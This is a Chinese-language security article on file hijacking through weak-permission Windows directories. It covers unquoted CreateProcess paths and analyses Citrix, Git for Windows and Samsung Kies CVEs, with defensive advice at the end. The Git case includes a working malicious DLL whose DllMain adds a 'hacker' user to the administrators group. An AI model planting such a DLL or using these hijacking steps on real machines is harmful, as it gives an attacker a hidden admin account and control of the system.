0x00. 概述
Windows系统中,某些目录或文件的权限设置不当,导致攻击者能够在这些目录下植入恶意文件或执行文件。由于这些目录缺乏有效的访问控制和安全审查,攻击者可以利用漏洞修改、替换或注入文件,甚至劫持系统中的合法进程或服务。
在Windows系统中,存在一些典型的弱权限目录,如C:\Windows\Temp
、C:\ProgramData
等,这些目录通常用于存储临时文件。然而,许多应用程序和用户在使用时没有对这些目录设置足够的权限控制,攻击者可以通过在这些目录中放置恶意可执行文件来实现文件劫持攻击,进而执行代码或提升系统权限。
本文通过分享几个文件劫持案例来了解弱权限目录带来的安全问题。在具体案例之前,我们先从CreateProcess API谈起。
0x01. CreateProcess的不安全使用
CreateProcess
API 是 Windows 中用来创建新进程的基础函数,它的工作机制对程序的启动和路径解析至关重要。这个 API 有多个参数,其中lpApplicationName
和lpCommandLine
是关键参数,它们共同影响进程创建的行为,尤其是如何解析和执行传入的可执行文件路径。
CreateProcess
的基本用法
CreateProcess
的原型如下:
BOOL CreateProcess(
LPCWSTR lpApplicationName, // 应用程序名(可选)
LPWSTR lpCommandLine, // 命令行参数
LPSECURITY_ATTRIBUTES lpProcessAttributes, // 进程安全属性
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
BOOL bInheritHandles, // 是否继承句柄
DWORD dwCreationFlags, // 创建标志
LPVOID lpEnvironment, // 环境变量
LPCWSTR lpCurrentDirectory, // 当前目录
LPSTARTUPINFO lpStartupInfo, // 启动信息
LPPROCESS_INFORMATION lpProcessInformation // 进程信息
);
lpApplicationName
:指定应用程序的路径(可选)。如果为NULL
,则系统会从lpCommandLine
的第一个空格分隔项中解析出应用程序路径。lpCommandLine
:传递给新进程的命令行参数。如果lpApplicationName
为NULL
,这个参数必须包括应用程序的完整路径或命令名称。
lpApplicationName
为NULL
时的路径解析
当lpApplicationName
为NULL
时,系统必须从lpCommandLine
中解析出可执行文件的路径。这个过程会涉及到路径解析和处理,其中可能涉及到文件名包含空格的问题。
命令行中的路径解析顺序
看一个微软官方文档的案例,假设lpCommandLine
包含了类似于以下内容:
c:\program files\sub dir\program name
CreateProcess执行该路径时未加引号,同时lpApplicationName
为NULL
,系统会按以下方式依次解析该路径:
c:\program.exe
:系统首先会尝试将路径从字符串的开始部分截断,解析为c:\program.exe
。c:\program files\sub.exe
:如果第一个解析失败,系统会尝试将路径解析为c:\program files\sub.exe
。c:\program files\sub dir\program.exe
:接下来,系统尝试解析整个路径,认为program.exe
是可执行文件名,并尝试执行它。c:\program files\sub dir\program name.exe
:最后,系统会尝试将program name
视为可执行文件名,并在其后附加.exe
扩展名进行解析。
编写poc程序测试
测试程序:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
// 定义并初始化命令行
char *szCmdline = _strdup("c:\\program files\\sub dir\\program name");
// 初始化 STARTUPINFO 和 PROCESS_INFORMATION 结构体
STARTUPINFOA si = {0}; // 使用 ANSI 版结构体
PROCESS_INFORMATION pi = {0}; // 进程信息
si.cb = sizeof(si);
// 调用 CreateProcessA(ANSI 版本)
if (CreateProcessA(
NULL, // 应用程序名,NULL 表示从命令行中解析路径
szCmdline, // 带引号的命令行
NULL,
NULL,
FALSE,
0,
NULL,
NULL,
&si,
&pi
)) {
printf("Process created successfully!\n");
// 等待子进程完成
WaitForSingleObject(pi.hProcess, INFINITE);
// 关闭句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
} else {
printf("Failed to create process. Error code: %lu\n", GetLastError());
}
// 释放命令行缓冲区
free(szCmdline);
return 0;
}
该测试程序尝试通过CreateProcessA启动"c:\program files\sub dir\program name",编译并运行该程序,同时使用Process Monitor监控
,可以看到Process Monitor监控到了程序预期的行为。如果c盘根目录存在program.exe,则c:\program.exe将会被执行。
CreateProcess API 安全的用法应该是:
LPTSTR szCmdline[] = _tcsdup(TEXT("\"C:\\Program Files\\MyApp\" -L -S"));
CreateProcess(NULL, szCmdline, /*...*/);
如果为 lpApplicationName设为NULL,lpCommandLine中可执行文件路径则需要加上引号。类似这种行为的API函数还有CreateProcessAsUser。
0x02. 目录权限与文件劫持
通过上面的CreateProcess测试程序,可以看出一些不规范的编码习惯可能会导致程序出现预期之外的行为,这些行为具有潜在的安全风险。这个案例如果相关目录被设置为弱权限,比如c:\program files\sub dir\ 目录权限设置不当,导致具有普通权限的攻击者可以在该目录下写入恶意文件,利用文件劫持来达到权限提升的目的。接下来让我们通过几个真实CVE案例来探讨弱权限目录导致的文件劫持可能造成的危害。
0x03. 案例分析
CVE-2020-13884 :弱权限目录导致的exe劫持
在CVE-2020-13884中,Citrix程序卸载过程中会调用CreateProcess API来执行文件TrolleyExpress.exe(C:\ProgramData\Citrix\Citrix Workspace 1911\TrolleyExpress.exe),由于未加引号的路径,导致程序会尝试加载C:\ProgramData\Citrix\Citrix.exe,而路径C:\ProgramData\Citrix\具有弱权限,攻击者可以在该路径写入恶意Citrix.exe,等待管理员卸载 Citrix Workspace 应用程序时,将执行恶意Citrix.exe提升权限。
CVE-2022-24767 :弱权限系统目录导致的本地提权
CVE-2022-24767简述:在 SYSTEM 用户帐户下运行时,Windows 版 Git 的卸载程序容易受到 DLL 劫持
system用户卸载 Git for Windows 程序,监控程序行为,会发现Git卸载程序会尝试从C:\Windows\Temp
加载dll
由于普通用户也具有C:\Windows\Temp
目录的写权限,所以低权限的攻击者可以将恶意dll写入C:\Windows\Temp
目录,当system用户卸载Git程序时,恶意dll将会运行,攻击者可达到权限提升的目的。
这里尝试通过劫持netapi32.dll来执行恶意代码
恶意netapi32.dll测试代码:
#include<stdio.h>
#include<windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
if (dwReason == DLL_PROCESS_ATTACH){
system("cmd.exe \"/k net user hacker password /add && net localgroup administrators hacker /add && net localgroup administrators\""); //创建一个名为 hacker 的用户账户,并将其添加到管理员组,从而提升权限
ExitProcess(0);
}
return TRUE;
}
编译完成后把netapi32.dll放到C:\Windows\Temp目录下,system用户卸载 Git for Windows 程序,会发现恶意dll被执行,成功向管理员组添加一个用户hacker
CVE-2022-39845 :弱权限目录导致的任意目录删除
该漏洞是关于Samsung Kies(三星官方提供的可将手机与电脑连接的一款PC套件工具),程序卸载时存在验证不当的情况,导致本地攻击者能够利用目录链接删除任意目录。使用Process Monitor监控该文件卸载过程,发现该程序会尝试删除C:\ProgramData\Samsung\deviceprofile\cache 目录内容,而该目录不存在。
C:\ProgramData目录是弱权限,查看C:\ProgramData\Samsung\ 目录权限,可以看到普通用户可以读写。
一个低权限的攻击者可以创建C:\ProgramData\Samsung\deviceprofile\cache目录,并将其链接到其他高权限目录,那么当管理员用户卸载该程序时,可以达到删除任意目录的攻击效果。
比如这里普通用户尝试删除C:\Windows\hacktest\目录下内容,会发现没有权限。
但普通用户可以创建一个目录软链接,将C:\ProgramData\Samsung\deviceprofile\cache链接到C:\Windows\hacktest
这样管理员在卸载Samsung Kies程序是就会导致C:\Windows\hacktest\目录内容被删除。
0x04. 总结
程序目录权限导致的文件劫持是一个容易被忽视的安全问题,通常涉及到权限控制不当、路径配置错误、或文件系统管理不严格等因素。通过加强文件权限管理、路径安全、以及文件完整性保护,可以有效防止此类攻击的发生。
0x05. 参考链接:
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa?redirectedfrom=MSDN
https://security.samsungmobile.com/serviceWeb.smsb?year=2022&month=09
https://www.freebuf.com/vuls/400438.html